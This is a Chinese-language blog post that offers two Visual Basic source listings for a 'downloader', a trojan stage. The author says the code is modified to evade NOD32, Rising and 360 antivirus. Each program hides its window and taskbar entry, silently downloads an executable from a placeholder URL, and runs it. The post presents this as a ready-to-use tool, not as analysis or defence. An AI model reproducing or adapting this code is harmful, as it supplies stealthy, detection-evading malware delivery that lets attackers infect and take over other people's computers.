VB简单下载者源码

网上有很多版本,但是都不免杀,我做了一下修改,一共修改了两个免杀版本,免杀了本机的NOD32,瑞星,360杀毒,其他的没测试。
第一个:(推荐)
程序代码 程序代码
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\1.exe"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
WinExec "1.exe", 10
End If
End Function
第二个:
程序代码 程序代码
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\d.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
Dim mShell As Object
Set mShell = CreateObject("wscript.shell")
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
mShell.Run "d.exe"
End If
End Function



[本日志由 刚子 于 2010-03-26 10:52 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相关日志:
评论: 0 | 引用: 0 | 查看次数: -
发表评论
昵 称:
密 码: 游客发言不需要密码.
内 容:
验证码: 验证码
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
t